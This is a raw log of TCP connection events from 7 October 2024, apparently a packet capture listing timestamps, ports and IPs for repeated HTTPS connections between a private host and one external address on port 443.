Oct 7, 2024 06:44:25.867877960 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.312845945 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.313034058 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.313671112 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.313846111 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.313865900 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.313879967 CEST	49771	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.313884974 CEST	443	49771	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.317042112 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.317075014 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.317332983 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.317699909 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.317713022 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.320647955 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.321019888 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.321041107 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.321516991 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.321521044 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.323889017 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.323890924 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.324213982 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.324222088 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.324373960 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.324388027 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.324626923 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.324631929 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.324759960 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.324764967 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.326350927 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.326647997 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.326656103 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.327090979 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.327096939 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.422389030 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.422545910 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.422739983 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.422832012 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.422847033 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.422856092 CEST	49775	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.422861099 CEST	443	49775	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.425549030 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.425635099 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.425756931 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.425765038 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.425858974 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.425915003 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.425915956 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.425945044 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.425945044 CEST	49773	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.425962925 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.425972939 CEST	443	49773	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.425991058 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.426003933 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.426094055 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.426094055 CEST	49774	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.426100016 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.426106930 CEST	443	49774	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.427359104 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.427392006 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.429060936 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.429089069 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.429167032 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.429210901 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.429233074 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.429316998 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.429348946 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.429383993 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.429445982 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.429456949 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.431730986 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.431797028 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.431849003 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.431920052 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.431926012 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.431935072 CEST	49772	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.431940079 CEST	443	49772	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.434026957 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.434041023 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.434103966 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.434238911 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:26.434252024 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:26.999638081 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.001029968 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.001029968 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.001046896 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.001082897 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.064821959 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.065305948 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.065326929 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.065747023 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.065753937 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.083304882 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.083692074 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.083703995 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.084095955 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.084101915 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.087558985 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.087984085 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.088004112 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.088282108 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.088287115 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.091088057 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.091377020 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.091389894 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.091717958 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.091722012 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.103600979 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.103729963 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.103780985 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.103954077 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.103954077 CEST	49776	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.103970051 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.103981972 CEST	443	49776	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.107043028 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.107074022 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.107142925 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.107279062 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.107285023 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.163958073 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.164016008 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.164062023 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.164230108 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.164230108 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.164241076 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.164251089 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.167074919 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.167093992 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.167186975 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.167354107 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.167363882 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.190287113 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.190435886 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.190490961 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.190623999 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.190639019 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.190649986 CEST	49777	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.190655947 CEST	443	49777	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.192994118 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.193018913 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.193078041 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.193191051 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.193207026 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.194088936 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.194154024 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.194196939 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.194271088 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.194278002 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.194284916 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.194288969 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.197035074 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.197071075 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.197259903 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.197259903 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.197288036 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.197968006 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.198016882 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.198056936 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.198158026 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.198172092 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.198183060 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.198188066 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.200267076 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.200275898 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.200335026 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.200491905 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.200500965 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.750073910 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.751015902 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.751044989 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.751436949 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.751441956 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.819514990 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.820179939 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.820210934 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.820508957 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.820513010 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.832860947 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.833246946 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.833268881 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.833631992 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.833636999 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.849165916 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.849318027 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.849431038 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.849508047 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.849508047 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.849524975 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.849533081 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.852344036 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.852379084 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.852463007 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.852626085 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.852641106 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.863857031 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.863941908 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.864331961 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.864360094 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.864377975 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.864391088 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.864828110 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.864835024 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.864870071 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.864873886 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.919003010 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.919177055 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.919272900 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.919527054 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.919547081 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.919559002 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.919564962 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.922599077 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.922648907 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.922775030 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.922945976 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.922959089 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.936986923 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.937165022 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.937364101 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.937534094 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.937551022 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.937587976 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.937593937 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.940064907 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.940113068 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.940208912 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.940407991 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.940423965 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.966700077 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.966767073 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.966844082 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.967022896 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.967031002 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.967072010 CEST	49785	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.967077017 CEST	443	49785	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.967371941 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.967461109 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.967500925 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.967525959 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.967539072 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.967550039 CEST	49784	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.967554092 CEST	443	49784	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.969986916 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.970012903 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.970031023 CEST	49790	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.970038891 CEST	443	49790	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.970072031 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.970099926 CEST	49790	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.970241070 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.970241070 CEST	49790	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:27.970252037 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:27.970267057 CEST	443	49790	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.493247032 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.493922949 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.493951082 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.494374037 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.494379997 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.565644026 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.566252947 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.566276073 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.566804886 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.566809893 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.579277992 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.579829931 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.579866886 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.580293894 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.580302954 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.593305111 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.593377113 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.593439102 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.593710899 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.593733072 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.593746901 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.593754053 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.596705914 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.596759081 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.596841097 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.597018957 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.597031116 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.610065937 CEST	443	49790	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.610583067 CEST	49790	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.610611916 CEST	443	49790	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.611031055 CEST	49790	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.611036062 CEST	443	49790	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.619347095 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.620199919 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.620218039 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.620815039 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.620820999 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.665977001 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.666040897 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.666094065 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.666275024 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.666285038 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.666296005 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.666301012 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.669174910 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.669209957 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.669303894 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.669461012 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.669466972 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.680530071 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.680588961 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.680679083 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.680880070 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.680896044 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.680908918 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.680915117 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.683348894 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.683372974 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.683445930 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.683589935 CEST	49793	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.683593988 CEST	443	49793	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.710067034 CEST	443	49790	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.710135937 CEST	443	49790	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.710273981 CEST	49790	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.710540056 CEST	49790	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.710556030 CEST	443	49790	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.710567951 CEST	49790	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.710572958 CEST	443	49790	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.713434935 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.713453054 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.713537931 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.713689089 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.713697910 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.719866991 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.719929934 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.720017910 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.720228910 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.720237017 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.720269918 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.720274925 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:28.722285032 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:28.722328901 CEST	443	49795	13.107.246.45	192.168.2.5
